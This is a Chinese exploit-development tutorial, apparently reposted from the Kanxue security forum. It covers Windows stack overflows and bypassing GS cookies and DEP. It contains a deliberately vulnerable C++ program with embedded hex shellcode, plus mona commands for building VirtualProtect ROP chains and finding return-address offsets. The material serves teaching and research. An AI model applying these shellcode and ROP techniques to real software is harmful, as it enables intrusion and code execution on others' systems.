栈溢出漏洞--GS和DEP
2020-01-03 18:57:00 Author: mp.weixin.qq.com(查看原文) 阅读量:67 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:自然dashen

案例

#include "stdafx.h"
#include "string.h"
 
class GSVirtual {
public :
    void gsv(char * src)
    
{
        char buf[200];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    
{
    }
};
int main()
{
 
    GSVirtual test;
    test.gsv(
        "\x90\x90\x90\x90"   
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x08\x21\x40"
        );
    return 0;
}

GS

启用安全检查,防止栈溢出执行,VC6.0没有这个选项。

 
开了GS后函数开始会多出全局变量security_cookie给eax,然后放在var4。


函数结束是会把security_cookie给寄存器然后调用check_cookike这个函数:


按x可以看到这个值是从这里来的:



是一个叫init_cookie的函数:



继续看交叉引用,发现是入口点位置直接执行:

突破GS
 
1. 虚表攻击

2. SEH
DEP
 
开启DEP栈就没有执行代码的权限,溢出也没用。

>>>>

PE文件


勾上这个选项就是开启DEP。

>>>>

VS


>>>>

X系统

ImmunityDebugger配合mona的使用生成ROP。

>>>>

安装

安装好这个软件。

注意:
install Python 2.7.14 (or a higher 2.7.xx version) Make sure you are installing the 32bit version of python.

要不然会闪退:


然后github下载插件:


把mona安装到下面得文件路径
Immunity Inc\Immunity Debugger\PyCommands

>>>>

简单使用


输入!mona命令运行模块,会出现一大堆的命令:


这个是配合上面得命令使用的
!mona <command> <parameter>

例如:
在所有模块查找所有得jmp esp指令
!mona jmp -r esp -m*

>>>>

生成ROP


!mona rop -m * -cpb '\x00' *
执行这条命令会生成能够把栈修改为可读可写可执行的代码。

会生成4个文本,打开rop_chains.txt:


里面会生成两个函数的chain
VirtualProtect()
VirtualAlloc()

里面有各种语言版本的代码,自己选用。



在返回地址里面填写刚刚生成的VirtualProtect的ROP



然后在ROP的后面写我们的shellcode。
运行程序:
前面的代码是用来把VirtualProtect函数地址和所需的参数给放到寄存器里面,最后pushad到栈里面,就会形成一个VirtualProtect的函数栈。
 
执行完VirtualProtect函数修改栈属性,然后执行jmp esp,继续栈里面执行我们的shellcode。

确定返回地址偏移位置
!mona pattern_create xxxx

生成一个xxxx大小的数组,用来确定溢出的返回地址。
我这里用它生成了个3000字节的数组:



生成在pattern这个文件里面,不要让他换行并且拷贝过来并且发包:


 
 
之后到我们溢出的返回地址里面找字符,发现是8Co9:

 
输入命令
!mona pattern_offset 8Co9

发现在2006的偏移位置:

- End -

看雪ID:自然dashen

https://bbs.pediy.com/user-710414.htm 

*本文由看雪论坛  自然dashen  原创,转载请注明来自看雪社区

推荐文章++++

应急服务辅助工具与系统溯源思路

利用auxv控制canary

未知黑客团队钓鱼样本分析

使用Binary Ninja去除ollvm流程平坦混淆

某盗链App逆向

好书推荐

公众号ID:ikanxue
官方微博:看雪安全
商务合作:[email protected]
“阅读原文”一起来充电吧!

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458302573&amp;idx=2&amp;sn=b4b6c4b713192a77966f3069a461174a&amp;chksm=b18188e786f601f189368beceb934f57c24b73c22bbe983977817f7155096f2ac0ec4d1f1e04#rd
如有侵权请联系:admin#unsafe.sh